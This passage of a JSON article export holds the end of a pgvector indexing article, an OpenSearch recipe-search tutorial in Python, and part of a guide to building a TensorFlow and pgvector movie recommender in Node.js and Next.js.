-0.011674623936414719, 0.025063879787921906, 0.004006060305982828, -0.02570686675608158, -0.0014152014628052711, 0.01905006170272827, -0.014082673005759716, -0.02687937207520008, 0.002307188231498003, -0.007684323471039534, -0.0012316035572439432, -0.023550970479846, 0.023122312501072884, 0.0026712322141975164, -0.011838522739708424, 0.03119116649031639, 0.010023030452430248, -0.022907983511686325, 0.002924959873780608, 0.004500907845795155, 0.015116495080292225, 0.007148500997573137, -0.024143526330590248, -0.04362224414944649, 0.028316637501120567, 0.0036971743684262037, 0.027333244681358337, -0.00706024793908, 0.02720716968178749, 0.0025388526264578104, 0.001517638098448515, -0.021458109840750694, 0.004188870079815388, -0.0099032586440444, 0.027434106916189194, 0.00335992150940001, 0.013729660771787167, -0.005878286901861429, -0.0066757164895534515, 0.005052489694207907, -0.011208144016563892, -0.017511935904622078, -0.02303405851125717, -0.04329444840550423, 0.016087278723716736, 0.03217455744743347, -0.020260389894247055, 0.02179851569235325, -0.02310970425605774, 0.01286604069173336, 0.014196141622960567, 0.008674019016325474, -0.007785184308886528, -0.018268391489982605, 0.02343750186264515, 0.00034887553192675114, 0.0004243240400683135, 0.009991511702537537, 0.014435685239732265, 0.0001373044797219336, -0.028417497873306274, 0.011056852526962757, 0.005695476662367582, -0.009323309175670147, 0.010016726329922676, -0.016490722075104713, -0.010924472473561764, -0.008692930452525616, 0.012815610505640507, 0.03946174308657646, 0.004904350731521845, 0.023513147607445717, -0.0021291060838848352, -0.005043034441769123, -0.0021763844415545464, 0.04074771702289581, -0.042714498937129974, 0.025719475001096725, -0.007028728723526001, 0.007659108377993107, -0.018596189096570015, -0.003369377227500081, 0.01211589016020298, 0.011662016622722149, -0.005188021343201399, -0.00453557912260294, 0.013414471410214901, 0.032729290425777435, -0.01222305465489626, -0.03595683351159096, -0.00804994348436594, -0.027333244681358337, -0.007898651994764805, -0.005610375665128231, 0.013326218351721764, 0.028467928990721703, 0.01912570744752884, 0.0004979996010661125, -0.6854491829872131, -0.014700444415211678, 0.01694459468126297, -0.04112594574689865, 0.022857552394270897, 0.042058903723955154, 0.005216388497501612, -0.010672321543097496, -0.0071232859045267105, -0.022605400532484055, -0.003879984375089407, 0.017776696011424065, 0.038377489894628525, -0.0006792336935177445, -0.02174808457493782, -0.023160135373473167, 0.018217960372567177, -0.013225357048213482, -0.016162924468517303, 0.020840339362621307, -0.0008691354305483401, 0.0037728198803961277, 0.01689416542649269, 0.00024269602727144957, 0.040016476064920425, 0.0029958775267004967, 0.018570972606539726, -0.015683837234973907, -0.004273971542716026, 0.013691837899386883, -0.02469825930893421, 0.008888348005712032, 0.005310945212841034, -0.00878748670220375, 0.047707103192806244, 0.009272878989577293, -0.03192240744829178, 0.01286604069173336, 0.00370032642967999, 0.03729323670268059, -0.010212143883109093, -0.018709657713770866, 0.02627420797944069, 0.0015113343251869082, -0.024710867553949356, -0.00931700598448515, 0.016818519681692123, -0.0068270075134932995, 0.014813913032412529, -0.007778880186378956, 0.02179851569235325, 0.0021338339429348707, 0.0198065172880888, 0.021861553192138672, 0.0033473139628767967, -0.00144593243021518, 0.03991561755537987, 0.00053385243518278, -0.0048034898936748505, -0.008409259840846062, -0.0037034782581031322, 0.008276879787445068]'::VECTOR(256) as vt\n)\nselect title, content_vector_reduced \u003c-\u003e vt similarity\nfrom articles join data on 1=1\norder by content_vector_reduced \u003c-\u003e vt\nlimit 10;\n```\n\nThe result set comes back in `24 ms` with the top results in line with the original non-indexed query, as shown below. The similarity figures are much lower than our original search because the similarity calculation uses fewer elements.\n\n```text\n title | similarity\n----------------+---------------------\n\n Pizza | 0.22997463729171275\n Pizza Pizza | 0.23568754629581293\n Pepperoni | 0.24703888071231495\n Pineapple | 0.25392144964646235\n Pie | 0.27119107491923206\n Pizza Hut | 0.27250517892728304\n The Republic | 0.2727779881779113\n Grape tomato | 0.2736757330550383\n English muffin | 0.27480416043684464\n Pastry | 0.2783681192665386\n\n\n(10 rows)\n```\n\n\n\n## Conclusion\n\nPgvector is a very powerful backend for your AI applications. The ability to store embeddings and calculate vector similarity, together with the huge set of PostgreSQL SQL features, enables users to mix standard queries and AI-driven searches to provide better results.\n\nIndexing can speed up performance when the amount of data or the size of the embeddings are a challenge. The IVFFlat and HNSW indexes allow you to cluster similar embeddings or layer the vector search queries. Shortening the vector size speeds up performance at the cost of accuracy.\n\nIn the vector space there’s no free food: performance and accuracy are a tradeoff when using indexes. Analyzing the indexing parameters and how they influence the query behavior can help you to define the sweet spot between the query speed and the accuracy of the results.\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-15T07:34:10.634Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-03-08T09:38:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn the theory and the details of how to speed up PostgreSQL® pgvector queries using indexes IVFFlat, HNSW and traditional indexes","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a543da57f0e0c0ea2f9659ca528d344a3e23e882-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-pgvector-indexes"},"subtitle":"Learn the theory and the details of how to speed up PostgreSQL® pgvector queries using indexes IVFFlat, HNSW and traditional indexes","tags":[{"_key":"bdf609a22dcf","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"a22c1fc8b23a","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"fa948d6bd8ea","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Speed up PostgreSQL® pgvector queries with indexes"} {"__i18n_lang":"en","_createdAt":"2023-08-07T07:20:34Z","_id":"1cb86919-e964-41d5-86ea-65394ece8c44","_rev":"ZLvKaZvfbZlWBlGcpIqONT","_type":"devArticle","_updatedAt":"2024-01-29T15:50:23Z","body":"## A Python-perfect dinner party with OpenSearch®\n\n### Introduction\nWhen I plan a dinner party, I want my guests to have a great experience, and definitely, I do not want anyone hungry. I need to check the ingredients, my guests' diet restrictions, and preferences. If you also feel that planning that special dinner can be challenging, you are in for a treat. \n\nIn this blog, I'll show how to find delicious recipes in the pythonic way. We just need data, Python and the powers of OpenSearch® to plan a perfect dinner party!\n\nOur support material in this learning journey will be a useful [CLI application](https://github.com/Aiven-Labs/demo-opensearch-python) that lets you explore common types of OpenSearch query, and even run them yourself.\n\n### Getting started\n\nSome may agree that our search results can be only as good as our dataset. But do not worry, we will be using a high-quality dataset from [Epicurious](https://www.kaggle.com/datasets/hugodarwood/epirecipes?select=full_format_recipes.json) which contains over 20.000 full recipes, ratings, and nutrition information for us.\n\nI'll be using Aiven's fully managed OpenSearch service to get our cluster up and running. I've prepared a [demo](https://github.com/Aiven-Labs/demo-opensearch-python) that contains all the code to connect, send data and perform the search queries. \n\nEverything is explained in the project [README.rst](https://github.com/Aiven-Labs/demo-opensearch-python/blob/main/README.rst), so you can just focus on understanding the queries. \n\n### Ingest data to the OpenSearch cluster\n\nThe first step is to load the data into our OpenSearch cluster, so we can start to query. Check out how to load the data to your cluster [using the Python client](https://aiven.io/docs/products/opensearch/howto/sample-dataset.html#load-the-data-with-python). \n\nNow, we can start to play with data!\n\n### Finding recipes\n\nRumors are that my grandfather is coming to the dinner, so I know I should have at least one recipe that is low in sodium. Low sodium meals are recommended to reduce blood pressure, but in general, this is a good healthy option for everyone.\n\nWe can use the `range` function to help us to find documents where the field value (in this case, `sodium`) is within a certain range.\n\nRecipes under 140 ms of sodium per serving are considered low sodium meals. So let’s look for recipes around 100 - 140 mg, and build this query as:\n\n```python\n{\n \"query\":{\n \"range\":{\n \"sodium\":{\n \"gte\":100,\n \"lte\":140\n }\n }\n }\n}\n```\n\nWe can use the demo program to see the `range` query in action by running:\n\n```\npython search.py \"sodium\" 100 140\n```\n\nI'm curious to see what kind of recipes, we get under this condition, and here we go:\n\n```\n['Salsa Verde ',\n 'Green Bean and Red Onion Salad with Warm Cider Vinaigrette ',\n 'Toasted-Pecan Pie ',\n 'Provençal Chicken and Tomato Roast ',\n 'Sauteed Cod Provençale ',\n 'Roasted Potatoes and Asparagus with Parmesan ',\n 'Sweet-and-Sour Baby Carrots ',\n 'Ricotta Puddings with Glazed Rhubarb ',\n 'Butternut Squash and White Bean Soup ',\n 'Turkish Zucchini Pancakes ']\n```\n\n'Turkish Zucchini Pancakes' seems like a delicious recipe, so this would be my choice.\n\nAlso, I need to find a delicious salad recipe for the occasion 🥗. It's radish season and this vegetable goes really well in summer salads, so let's use `match_phrase` to look for a \"title\" containing \"Salad with Radish\". \n\n```python\n{\n \"query\":{\n \"match_phrase\":{\n \"title\":{\n \"query\":\"Salad with radish\"\n }\n }\n }\n}\n```\n\nWe can run this query using the demo program:\n\n```\npython search.py match-phrase \"title\" \"Salad with Radish\"\n```\n\nand here is our result:\n\n```\n['Green Bean and Red Onion Salad with Radish Dressing ']\n```\n\nWe only got one match and it seems like radish is only part of the dressing. The reason is that the order of words is important when you use `match_phrase`. In this case, the phrase `Salad with Radish` only appeared once, hence our single result.\n\nWe can fix that by adding some flexibility to our search. There is a powerful feature on `match_phrase` that allows us to define the distance that the search words can be from each other. This parameter is called `slop` (default=0). So let's try again with the `slop` parameter set to 3.\n\n```python\n{\n \"query\":{\n \"match_phrase\":{\n \"title\":{\n \"query\":\"Salad with radish\",\n \"slop\":3\n }\n }\n }\n}\n```\n\nWe can run this query using the demo program:\n\n```\npython search.py match-phrase \"title\" \"Salad with Radish\" --slop 3\n```\n\nNot surprisingly, we got more results this time:\n\n```\n['Green Bean and Red Onion Salad with Radish Dressing ',\n 'Winter Salad with Black Radish, Apple, and Escarole ',\n 'Avocado Radish Salad with Lime Dressing ',\n 'Chickpea Salad Sandwich With Creamy Carrot-Radish Slaw ',\n 'Mâche, Frisée, and Radish Salad with Mustard Vinaigrette ',\n 'Frisée and Radish Salad with Goat Cheese Croutons ',\n 'Endive, Mâche, and Radish Salad with Champagne Vinaigrette ',\n 'Butter Lettuce and Radish Salad with Fresh Spring Herbs ',\n 'Butter Lettuce and Radish Salad with Lemon-Garlic Vinaigrette ',\n 'Shaved Carrot and Radish Salad With Herbs and Pumpkin Seeds ']\n```\n\nNow, our results match with \"Radish Salad with\", \"Salad with `\u003csomething else\u003e` Radish\" and so on.\nWe can pick one and move forward to find a desert.\n\nLet's explore how the `match` function works, building a query to find \"Chocolate Carrot Cake\" in our \"title\".\n\n```python\n{\n \"query\":{\n \"match\":{\n \"title\":{\n \"query\":\"Chocolate Carrot Cake\",\n \"operator\": \"and\"\n }\n }\n }\n}\n```\n\nThe `match` parameter will report results in a sorted order of how closely they relate to \"Chocolate Carrot Cake\" 🥕. By default `match` uses the \"OR\" operator, giving results for \"Chocolate\" or \"Carrot\" or \"Cake\". However, I want to have all these terms included in the \"title\" when we search. We can use the \"AND\" operator for that:\n\n```\npython search.py match \"title\" \"Chocolate Carrot Cake\" --operator \"and\"\n```\n\nHere are our cake results.\n\n```\n['Chocolate-Orange Carrot Cake ',\n 'Milk Chocolate Semifreddo with Star Anise Carrot Cake ']\n```\n\nEverything seems delicious and we are ready for the party 🥳! And what's for your dinner? You can play around writing your own search queries and find your own perfect dinner. \n\nHappy meal, everyone!\n\n## Examples and other resources\n\n- [Find the code sample on the GitHub repository](https://github.com/Aiven-Labs/demo-opensearch-python)\n- [Continue the tutorial to learn how to query data](https://aiven.io/docs/products/opensearch/howto/opensearch-search-and-python)\n- [Find more documentation resources for Aiven for OpenSearch](https://aiven.io/docs/products/opensearch)\n\nYou can sign up for a free trial to start using [Aiven for OpenSearch](https://aiven.io/opensearch).","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:20:31.865Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"publishedAt":"2022-07-28T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Read on to learn how to use OpenSearch® to perform both simple and advanced searches on semi-structured recipe data, and from that produce the perfect menu.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-af32900a8b310b9f6f7d8a0e356c8da7fbfa35af-1567x844-png","_type":"reference"}},"metaTitle":"Find Tasty Recipes with Python and OpenSearch® in 60 Characters"},"slug":{"_type":"slug","current":"/developer/opensearch-dinner-party"},"subtitle":"Read on to learn how to use OpenSearch® to perform both simple and advanced searches on semi-structured recipe data, and from that produce the perfect menu.","tags":[{"_key":"1fc9777edffd","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"6f25861dbd8b","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Write search queries with Python and OpenSearch® to find delicious recipes"} {"__i18n_lang":"en","_createdAt":"2023-10-05T13:09:24Z","_id":"28a828cd-0a1a-477e-8c4b-91acfc1882bc","_rev":"ZxCjdMWwjhy9DmKAIc0Kzr","_type":"devArticle","_updatedAt":"2024-10-29T10:42:13Z","body":"Here you'll find the instructions to build a movie recommendation system. Each step has a corresponding video that shows in detail what needs to be done. The complete working project can be found in [the GitHub repository](https://github.com/Aiven-Labs/what-movie-to-watch-pgvector).\n\n::youtube[Video introduction to this guide]{#ll2VjbGHO4E}\n\n\u003c!--\n::banner[Join the online workshop where we follow this tutorial.]{ctaText=\"Read more and register\" ctaLink=\"https://aiven.io/workshop/movie-recommender-with-tensorflow-pgvector\" title=\"Free workshop: Build a movie recommendation app with Tensorflow and pgvector\" background=\"\" theme=\"light\"}\n--\u003e\n\n### Step 1. Create the vector embeddings: TensorFlow universal-sentence-encoder and Node.js\n\n::youtube[Video for Step 1]{#BGPbYK71AXc}\n\n##### Dataset\n\nYou'll find the original dataset [in Kaggle](https://www.kaggle.com/datasets/jrobischon/wikipedia-movie-plots). The dataset contains metadata about a movie (title, release year, etc) as well as descriptions of the movies from Wikipedia. It is in CSV format, however, we'll be working with JSON. You can [download the dataset in JSON format dataset here](https://raw.githubusercontent.com/Aiven-Labs/what-movie-to-watch-pgvector/main/first-steps-tensorflow-pg-nodejs/movie-plots.json).\n\n##### New to Node.js?\n\nDownload and install Node.js [here](https://nodejs.org/en/download).\n\n##### Add dependencies\nInstall dependencies for [TensorFlow](https://github.com/tensorflow/tfjs-models). Make sure that the path does not include spaces or special characters (`tfjs-node` is very picky):\n\n```bash\nnpm install @tensorflow-models/universal-sentence-encoder --save\n```\n```bash\nnpm install @tensorflow/tfjs-node --save\n```\n\nInstalling these in order is important, otherwise you might have peer-dependency issues.\n\n##### Add the encoder\n\nIn the root project directory, create the **encoder.js** file.\n\nInclude these dependencies:\n\n```js\nconst fs = require(\"fs\");\nrequire('@tensorflow/tfjs-node');\nconst use = require('@tensorflow-models/universal-sentence-encoder');\nconst moviePlots = require(\"./movie-plots.json\");\n```\n\nAdd code to get embeddings for a single movie:\n```js\nuse.load().then(async model =\u003e {\n const sampleMoviePlot = moviePlots[0];\n const embeddings = await model.embed(sampleMoviePlot['Plot']);\n console.log(embeddings.arraySync());\n});\n```\n\nRun:\n```bash\nnode encoder.js\n```\n\nNote: though we don't use the output from `require('@tensorflow/tfjs-node');` directly, do not remove this line, as TensorFlow needs it to work correctly.\n\n### Step 2. Free PostgreSQL setup: create Table, enable PGVector\n::youtube[Video for Step 2]{#32nFWH5WY0A}\n##### Create service pg-movie-app\n\nTo host your PostgreSQL service for free in the cloud, use [Aiven for PostgreSQL®](https://aiven.io/postgresql). To get an extra 100$ credits when signing up with Aiven, use [this link](https://go.aiven.io/get-pgvector).\n\n##### Test with pgAdmin\n\nTo use Aiven for PostgreSQL with pgAdmin, click on **Quick Connect** and choose **Connect with pgAdmin**. You'll see the steps that you need to perform and a link to download the **pgConnect.json** file. Open pgAdmin, import a new server and select downloaded **pgConnect.json**.\n\nEnable PGVector:\n\n```sql\nCREATE EXTENSION vector;\n```\n\nCreate a table:\n\n```sql\nCREATE TABLE movie_plots (\n title VARCHAR,\n director VARCHAR,\n \"cast\" VARCHAR,\n genre VARCHAR,\n plot TEXT,\n \"year\" SMALLINT,\n wiki VARCHAR,\n embedding vector(512)\n);\n```\n\n##### Connect with Node.js\n\nInstall `node-postgres`:\n\n```bash\nnpm install pg --save\n```\n\nInstall `dotenv` to store credentials:\n\n```bash\nnpm install dotenv --save\n```\n\nCreate an **.env** file and add the following connection information:\n\n```bash\nPG_NAME=\nPG_PASSWORD=\nPG_HOST=\nPG_PORT=\n```\n\nDownload the **ca.pem** certificate from the [Aiven console](https://console.aiven.io). \nAdd both **.env** and **ca.pem** to **.gitignore**.\n\n##### Send a request to PostgreSQL from Node.js\n\nIn **encoder.js** include:\n\n```js\nrequire('dotenv').config();\n```\n\nand\n\n```js\nconst pg = require('pg');\n```\n\nAdd the PostgreSQL connection configuration as well:\n```js\nconst config = {\n user: process.env.PG_NAME,\n password: process.env.PG_PASSWORD,\n host: process.env.PG_HOST,\n port: process.env.PG_PORT,\n database: \"defaultdb\",\n ssl: {\n rejectUnauthorized: true,\n ca: fs.readFileSync('./ca.pem').toString(),\n },\n};\n```\n\nCreate the client, connect it to PostgreSQL and send a test SQL request:\n\n```js\nconst client = new pg.Client(config);\nawait client.connect();\ntry {\n const pgResponse = await client.query(`SELECT count(*) FROM movie_plots`);\n console.log(pgResponse.rows);\n} catch (err) {\n console.error(err);\n} finally {\n await client.end();\n}\n```\n\n### Step 3. Efficiency: Batch TensorFlow vector generation and data insertion with pg-promise multiple rows\n::youtube[Video for Step 3]{#leJyTA2pUXM}\n\n##### Add pg-promise\n\nTo generate and send a multi-row insert query, we'll use [pg-promise](https://github.com/vitaly-t/pg-promise/wiki/Data-Imports). Install it with:\n\n```bash\nnpm install pg-promise --save\n```\n\nInclude pg-promise in **encoder.js**:\n\n```js\nconst pgp = require('pg-promise')({\n capSQL: true // capitalize all generated SQL\n});\nconst db = pgp(config);\n```\n\nAdd the following code to send a multi-row insert query to PostgreSQL:\n\n```js\nconst storeInPG = async (moviePlots) =\u003e {\n const columns = new pgp.helpers.ColumnSet(['title', 'director', 'plot', 'year', 'wiki', 'cast', 'genre', 'embedding'], {table: 'movie_plots'});\n\n const values = [];\n for(let i = 0; i \u003c moviePlots.length; i++) {\n values.push({\n title: moviePlots[i]['Title'],\n director: moviePlots[i]['Director'],\n plot: moviePlots[i]['Plot'],\n year: moviePlots[i]['Release Year'],\n cast: moviePlots[i]['Cast'],\n genre: moviePlots[i]['Genre'],\n wiki: moviePlots[i]['Wiki Page'],\n embedding: `[${moviePlots[i]['embedding']}]`\n })\n }\n\n const query = pgp.helpers.insert(values, columns);\n await db.none(query);\n}\n```\n[db.none](https://vitaly-t.github.io/pg-promise/Database.html#none) executes a query that expects no data to be returned.\n\n##### TensorFlow and batch processing\n\nNext load the model and iterate over all movies to get encodings with TensorFlow. \nWe'll divide data into batches for faster processing:\n\n```js\nuse.load().then(async model =\u003e {\n const batchSize = 1000;\n for (let start = 0; start \u003c moviePlots.length; start += batchSize) {\n const end = Math.min(start + batchSize, moviePlots.length);\n console.log(`Processing items from ${start} till ${end}.`);\n const movieBatch = moviePlots.slice(start, end);\n const plotDescriptions = movieBatch.map(plot =\u003e plot['Plot']);\n const embeddingsRequest = await model.embed(plotDescriptions);\n const embeddings = embeddingsRequest.arraySync();\n\n for (let i = 0; i \u003c movieBatch.length; i++) {\n movieBatch[i]['embedding'] = embeddings[i];\n }\n await storeInPG(movieBatch);\n }\n});\n```\n##### Send the complete dataset with embeddings to PostgreSQL\n\nTo execute the code that we wrote and send data to PostgreSQL, run:\n\n```bash\nnode encoder.js\n```\n\n### Step 4. Contextual Search with PGVector: Node.js and TensorFlow Magic\n::youtube[Video for Step 4]{#lyTvhGSMEGc}\n\n##### Build recommendation logic\n\nCreate the **recommender.js** file and include dependencies:\n\n```js\nrequire('dotenv').config();\nconst fs = require('fs');\nconst pg = require('pg');\nrequire('@tensorflow/tfjs-node');\nconst use = require('@tensorflow-models/universal-sentence-encoder');\n```\n\nConnect to PostgreSQL:\n\n```js\nconst config = {\n user: process.env.PG_NAME,\n password: process.env.PG_PASSWORD,\n host: process.env.PG_HOST,\n port: process.env.PG_PORT,\n database: \"defaultdb\",\n ssl: {\n rejectUnauthorized: true,\n ca: fs.readFileSync('./ca.pem').toString(),\n },\n};\n```\n\nWe'll be looking for \"a lot of cute puppies\". Generate an embedding for the test string and use PGVector to find the closest suggestions among the movies we have in the database:\n\n```js\nuse.load().then(async model =\u003e {\n const embeddings = await model.embed(\"a lot of cute puppies\");\n const embeddingArray = embeddings.arraySync()[0];\n\n const client = new pg.Client(config);\n await client.connect();\n try {\n const pgResponse = await client.query(`SELECT * FROM movie_plots ORDER BY embedding \u003c-\u003e '${JSON.stringify(embeddingArray)}' LIMIT 5;`);\n console.log(pgResponse.rows);\n } catch (err) {\n console.error(err);\n } finally {\n await client.end()\n }\n});\n```\n\nRun to get the results:\n\n```bash\nnode recommender.js\n```\n\n### Step 5. Next.js project setup: PostgreSQL and TensorFlow dependencies, test the backend\n::youtube[Video for Step 5]{#3g9CruIREfs}\n\n##### Get started with Next.js project\n\nFind more about Next.js at https://nextjs.org/. Create a project with:\n\n```bash\nnpx create-next-app@latest\n```\n\nWe'll be using following settings:\n\n```bash\nWhat is your project named? what-to-watch\nWould you like to use TypeScript? No / *Yes*\nWould you like to use ESLint? *No* / Yes\nWould you like to use Tailwind CSS? No / *Yes*\nWould you like to use `src/` directory? *No* / Yes\nWould you like to use App Router? (recommended) *No* / Yes\nWould you like to customize the default import alias? *No* / Yes\n```\n\nOnce the project is installed navigate to the folder where it is located, or open it in your preferred IDE.\n\n##### Add dependencies\n\nBefore we can use TensorFlow and PostgreSQL, we need to install them:\n\n```bash\nnpm install @tensorflow-models/universal-sentence-encoder --save\n```\n\n```bash\nnpm install @tensorflow/tfjs-node --save\n```\n\n```bash\nnpm install pg --save\n```\n\nAdditionally, add a dependency for dotenv, to simplify the work with credentials:\n\n```bash\nnpm install dotenv --save\n```\n\n##### Add PostgreSQL credentials\n\nCreate a *.env* file and add following placeholders for the properties that we need to define:\n\n```js\nPG_NAME=\nPG_PASSWORD=\nPG_HOST=\nPG_PORT=\n```\nGo to the service page of your Aiven for PostgreSQL and copy **User**, **Password**, **Host** and **Port** from the tab with the connection information and add them to the appropriate fields above.\n\nDownload **ca.pem** and add it to a folder **/certificates**\n\nAdd both **.env** and **/certificates** to .gitignore.\n\n```bash\n.env\n\n/certificates\n```\n\n##### Run\n\n\nStart the server with:\n\n\n```bash\nnpm dev run\n```\n\nOpen **localhost:3000** to see the landing page. Open **localhost:3000/api/hello**\nto see a test backend api call.\n\n### Step 6. Nearest vector retrieval: TensorFlow universal-sentence-encoder and PGVector-powered queries in Next.js\n::youtube[Video for Step 6]{#UZJnjFbFJvE}\n\n##### Add an interface for a movie\n\nDeclare a movie type by creating **movie.d.ts** and adding the following:\n\n```js\ndeclare type Movie = {\n title: string,\n director: string,\n cast: string,\n genre: string,\n plot: string,\n year: number,\n wiki: string,\n embedding: number[]\n}\n\nexport default Movie;\n```\n\n##### Add backend calls\n\nRename existing the **pages/api/hello.ts** API Route to **pages/api/recommendations.ts**. \n\nAdd dependencies to **pages/api/recommendations.ts**:\n\n```js\nconst {readFileSync} = require('fs');\nconst pg = require('pg');\nconst tf = require('@tensorflow/tfjs-node');\nconst use = require('@tensorflow-models/universal-sentence-encoder');\n```\n\nCreate the connection configuration for PostgreSQL:\n\n```js\nconst config = {\n user: process.env.PG_NAME,\n password: process.env.PG_PASSWORD,\n host: process.env.PG_HOST,\n port: process.env.PG_PORT,\n database: \"defaultdb\",\n ssl: {\n rejectUnauthorized: true,\n ca: readFileSync('./certificates/ca.pem').toString(),\n },\n};\n```\n\nAdd a handler to process the requests:\n\n```js\nexport default async function handler(\n req: NextApiRequest,\n res: NextApiResponse\u003cMovie[]\u003e\n) {\n const model = await use.load();\n const embeddings = await model.embed(req.body.search);\n const embeddingArray = embeddings.arraySync()[0];\n const client = new pg.Client(config);\n await client.connect();\n\n try {\n const pgResponse = await client.query(`SELECT * FROM movie_plots ORDER BY embedding \u003c-\u003e '${JSON.stringify(embeddingArray)}' LIMIT 5;`);\n res.status(200).json(pgResponse.rows)\n } catch (err) {\n console.error(err);\n } finally {\n await client.end()\n }\n}\n\n```\n\n### Step 7. Frontend integration: Next.js movie recommender UI and calls to TensorFlow and PostgreSQL\n::youtube[Video for Step 7]{#HBSBkYHQcjo}\n\nOpen **pages/index.tsx** and delete the existing layout and dependencies - we won't need them. Instead, add this code to connect to the API Route **/api/recommendations** :\n\n```js\nconst [moviePlots, setMoviePlots] = useState \u003c Movie[] \u003e ([])\nconst searchInput = useRef();\n\nfunction search(event) {\n event.preventDefault();\n const enteredSearch = searchInput.current.value;\n fetch('/api/recommendations', {\n method: 'POST',\n body: JSON.stringify({\n search: enteredSearch\n }),\n headers: {\n 'Content-Type': 'application/json'\n }\n }).then(response =\u003e response.json()).then(data =\u003e {\n setMoviePlots(data);\n });\n}\n```\n\nAdd a simple layout to input a search phrase and see the results:\n\n```js\nreturn (\n \u003c\u003e\n \u003cform onSubmit={search}\u003e\n \u003cinput type=\"search\" id=\"default-search\" ref={searchInput} autoComplete=\"off\"\n placeholder=\"Type what do you want to watch about\" required/\u003e\n \u003cbutton type=\"submit\"\u003e\n Search\n \u003c/button\u003e\n\n \u003c/form\u003e\n\n \u003cdiv\u003e\n { moviePlots.map(item =\u003e\n \u003cdiv key={item.title}\u003e\n {item.director}\n {item.year}\n item.title}\n {item.wiki}\n \u003c/div\u003e)}\n \u003c/div\u003e\n \u003c/\u003e\n)\n```\n\n### Step 8. Polishing and testing: styling the movie recommender UI with the Tailwind CSS framework\n::youtube[Video for Step 8]{#bZ1_72A4YPM}\n\nWe'll add some styling with [Tailwind CSS](https://tailwindcss.com/).\n\nFind **tailwind.config.ts** in your Next.js project and update it with:\n\n```js\nmodule.exports = {\n content: [\n './pages/**/*.{js,ts,jsx,tsx,mdx}',\n './components/**/*.{js,ts,jsx,tsx,mdx}',\n './app/**/*.{js,ts,jsx,tsx,mdx}',\n ],\n theme: {\n extend: {\n colors: {\n veryDarkBlue: '#1B262C',\n darkBlue: '#0F4C75',\n lightBlue: '#3282B8',\n veryLightBlue: '#BBE1FA',\n },\n fontFamily: {\n sans: ['Poppins', 'sans-serif']\n },\n spacing: {\n\n },\n },\n },\n plugins: [],\n}\n```\n\nIn **index.tsx** Replace the form element with the section:\n\n```js\n\u003csection id=\"shorten\"\u003e\n \u003cdiv className=\"max-w-4xl mx-auto p-6 space-y-6\"\u003e\n \u003cform onSubmit={search}\u003e\n \u003clabel htmlFor=\"default-search\"\n className=\"mb-2 text-sm font-medium sr-only text-white\"\u003eSearch\u003c/label\u003e\n \u003cdiv className=\"relative\"\u003e\n \u003cdiv className=\"absolute inset-y-0 left-0 flex items-center pl-3 pointer-events-none\"\u003e\n \u003csvg className=\"w-4 h-4 text-gray-400\" aria-hidden=\"true\"\n xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 20 20\"\u003e\n \u003cpath stroke=\"currentColor\" strokeLinecap=\"round\" strokeLinejoin=\"round\"\n strokeWidth=\"2\" d=\"m19 19-4-4m0-7A7 7 0 1 1 1 8a7 7 0 0 1 14 0Z\"/\u003e\n \u003c/svg\u003e\n \u003c/div\u003e\n \u003cinput type=\"search\" id=\"default-search\" ref={searchInput} autoComplete=\"off\"\n className=\"block w-full p-4 pl-10 text-sm border rounded-lg bg-gray-700 border-gray-600 placeholder-gray-400 text-white focus:ring-blue-500 focus:border-blue-500\"\n placeholder=\"Type what do you want to watch about\" required/\u003e\n \u003cbutton type=\"submit\"\n className=\"text-white absolute right-2.5 bottom-2.5 focus:ring-4 focus:outline-none font-medium rounded-lg text-sm px-4 py-2 bg-lightBlue hover:bg-darkBlue focus:ring-blue-800\"\u003eSearch\n \u003c/button\u003e\n \u003c/div\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n\u003c/section\u003e\n```\n\nTo style the list of the movies and add a loading indicator, replace the existing movie list with: \n\n```js\n\u003cdiv className=\"flex gap-8 flex-wrap flex-col grow shrink items-start mx-24\"\u003e\n {isLoading ? (\u003cdiv className=\"flex justify-center items-center h-32 w-32 mx-auto\"\u003e\n {/* Embedding the SVG loading indicator */}\n \u003csvg\n className=\"animate-spin h-6 w-6 text-white\"\n xmlns=\"http://www.w3.org/2000/svg\"\n fill=\"none\"\n viewBox=\"0 0 24 24\"\n \u003e\n \u003ccircle\n className=\"opacity-25\"\n cx=\"12\"\n cy=\"12\"\n r=\"10\"\n stroke=\"currentColor\"\n strokeWidth=\"4\"\n \u003e\u003c/circle\u003e\n \u003cpath\n className=\"opacity-75\"\n fill=\"currentColor\"\n d=\"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z\"\n \u003e\u003c/path\u003e\n \u003c/svg\u003e\n \u003c/div\u003e) : moviePlots.map(item =\u003e\n \u003cdiv key={item.title}\n className=\"relative p-10 rounded-xl binline-block justify-start rounded-lg shadow-[0_2px_15px_-3px_rgba(0,0,0,0.07),0_10px_20px_-2px_rgba(0,0,0,0.04)] bg-darkBlue items-start\"\u003e\n \u003cdiv className=\"text-6xl absolute top-4 right-4 opacity-80\"\u003e🍿\u003c/div\u003e\n \u003cdiv\u003e\n \u003ch4 className=\"opacity-90 text-xl\"\u003eFrom {item.director}\u003c/h4\u003e\n \u003cp className=\"opacity-50 text-sm\"\u003eYear {item.year}\u003c/p\u003e\n \u003c/div\u003e\n \u003ch1 className=\"text-4xl mt-6\"\u003e{item.title}\u003c/h1\u003e\n \u003cp className=\"relative mt-6 text opacity-80 italic\"\u003e\n {item.plot}\n \u003c/p\u003e\n 